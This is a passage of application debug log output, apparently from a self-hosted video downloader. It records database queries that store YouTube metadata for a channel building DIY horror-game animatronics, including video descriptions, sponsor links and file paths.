("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "We Tested ONE STAR Animatronics!", "dc57783e-9bcb-4092-9353-9f78e89b0808", "1Sf-QXdYdBg", false, "https://www.youtube.com/watch?v=1Sf-QXdYdBg", 35, [], 1212, false, 3, "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", false, false, 98, ~U[2026-02-25 20:45:16Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "We Tested ONE STAR Animatronics!", "1Sf-QXdYdBg", "https://www.youtube.com/watch?v=1Sf-QXdYdBg", 35, 1212, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", false, ~U[2026-02-25 20:45:16Z]] 13:42:45.848 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.849 [debug] QUERY OK source="media_items" db=0.3ms idle=3.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 20:42:40Z], 35] 13:42:45.850 [debug] QUERY OK source="media_items" db=0.9ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "We made a real WITHERED BONNIE Animatronic from FNAF!", "485b4ccd-4d3f-4e1f-8cea-a2afe52a1663", "_Hp9lSryglU", false, "https://www.youtube.com/watch?v=_Hp9lSryglU", 35, [], 1806, false, 4, "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", false, false, 98, ~U[2025-12-05 20:42:40Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "We made a real WITHERED BONNIE Animatronic from FNAF!", "_Hp9lSryglU", "https://www.youtube.com/watch?v=_Hp9lSryglU", 35, 1806, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", false, ~U[2025-12-05 20:42:40Z]] 13:42:45.851 [debug] QUERY OK source="sources" db=0.3ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.851 [debug] QUERY OK source="media_items" db=0.3ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-29 19:34:42Z], 35] 13:42:45.855 [debug] QUERY OK source="media_items" db=3.4ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "We made a real MOMMY LONG LEGS Animatronic!", "f14f8f79-c989-41df-8bb5-6c0f89474050", "ZGKi5nV0RBw", false, "https://www.youtube.com/watch?v=ZGKi5nV0RBw", 35, [], 1252, false, 5, "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", false, false, 98, ~U[2025-10-29 19:34:42Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "We made a real MOMMY LONG LEGS Animatronic!", "ZGKi5nV0RBw", "https://www.youtube.com/watch?v=ZGKi5nV0RBw", 35, 1252, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", false, ~U[2025-10-29 19:34:42Z]] 13:42:45.856 [debug] QUERY OK source="sources" db=0.2ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.856 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-05 13:39:45Z], 35] 13:42:45.858 [debug] QUERY OK source="media_items" db=1.0ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "We made a real FIGURE Animatronic (that can hear you)", "67ebbffe-5546-4c2e-951a-2ccf8e4e9482", "VIJ9qbIX8-o", false, "https://www.youtube.com/watch?v=VIJ9qbIX8-o", 35, [], 1424, false, 6, "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", false, false, 98, ~U[2025-10-05 13:39:45Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay make Figure from Doors! Discover projects designed to inspire curiosity at any age with KiwiCo! Go to https://www.kiwico.com/wickedmakers and use code WICKEDMAKERS for 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nMERCH & WICKED GEAR ► https://shopwickedmakers.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nCould you sneak past a Figure in real life??\nFigure is one of the main enemies from an indie horror game called Doors on Roblox, developed by LSPLASH and RediblesQW. In the game, Figure is blind, so it can’t see you, but it can hear even the lightest footstep. It’s terrifying. We’re getting ready for Halloween, and a sound activated realistic Figure animatronic is going to be the perfect addition to our decorations to scare trick-or-treaters!\n\nTo make our real life Figure, we’re starting a werewolf animatronic from Lowes. It’s the perfect height, and has a really cool howling animation that will make our Figure look extra scary. After making a few modifications to the frame, we built up Figure’s shape with bubble wrap, aluminum foil, and plastic wrap. We swapped out the motion sensor for a sound sensor, added teeth and a glowing head, and we were ready for the ultimate challenge. Can we actually sneak past Figure, or will it catch us??\n\nWe can’t wait for Halloween! If you want to see more DIY animatronic builds like Springtrap and Jackie from FNAF or Dogday, Catnap, and Huggy Wuggy from Poppy Playtime, be sure to check out our channel! And let us know who YOU want us to build next!\n\nThanks for watching and Stay Wicked, y’all!\n\n#Figure\n#Doors\n#Animatronic", "We made a real FIGURE Animatronic (that can hear you)", "VIJ9qbIX8-o", "https://www.youtube.com/watch?v=VIJ9qbIX8-o", 35, 1424, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e100500 - We made a real FIGURE Animatronic (that can hear you).mp4", false, ~U[2025-10-05 13:39:45Z]] 13:42:45.858 [debug] QUERY OK source="sources" db=0.3ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.859 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-13 12:19:05Z], 35] 13:42:45.860 [debug] QUERY OK source="media_items" db=0.7ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "We turned LABUBUS into Nightmare Animatronics!", "f788e55b-f7f0-45ab-8a7c-5d8d9a285e75", "L8HNEnUT070", false, "https://www.youtube.com/watch?v=L8HNEnUT070", 35, [], 1324, false, 7, "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", false, false, 98, ~U[2025-09-13 12:19:05Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "We turned LABUBUS into Nightmare Animatronics!", "L8HNEnUT070", "https://www.youtube.com/watch?v=L8HNEnUT070", 35, 1324, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", false, ~U[2025-09-13 12:19:05Z]] 13:42:45.860 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.861 [debug] QUERY OK source="media_items" db=0.4ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-08 14:45:00Z], 35] 13:42:45.867 [debug] QUERY OK source="media_items" db=6.0ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "a29b9ac8-f87a-4779-8b25-4f53beab7725", "9Enbe3xxp7o", false, "https://www.youtube.com/watch?v=9Enbe3xxp7o", 35, [], 1827, false, 8, "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", false, false, 98, ~U[2025-08-08 14:45:00Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "9Enbe3xxp7o", "https://www.youtube.com/watch?v=9Enbe3xxp7o", 35, 1827, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", false, ~U[2025-08-08 14:45:00Z]] 13:42:45.868 [debug] QUERY OK source="sources" db=0.3ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:45.868 [debug] QUERY OK source="media_items" db=0.4ms idle=8.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-13 17:44:01Z], 35] 13:42:45.870 [debug] QUERY OK source="media_items" db=0.8ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "We made The DOCTOR to Protect our House!", "583ad9c3-653a-41e9-ad25-cab46faf9d77", "IC1Hy_pnKT0", false, "https://www.youtube.com/watch?v=IC1Hy_pnKT0", 35, [], 1594, false, 9, "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", false, false, 98, ~U[2025-06-13 17:44:01Z], ~U[2026-06-03 17:42:45Z], ~U[2026-06-03 17:42:45Z], "Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like 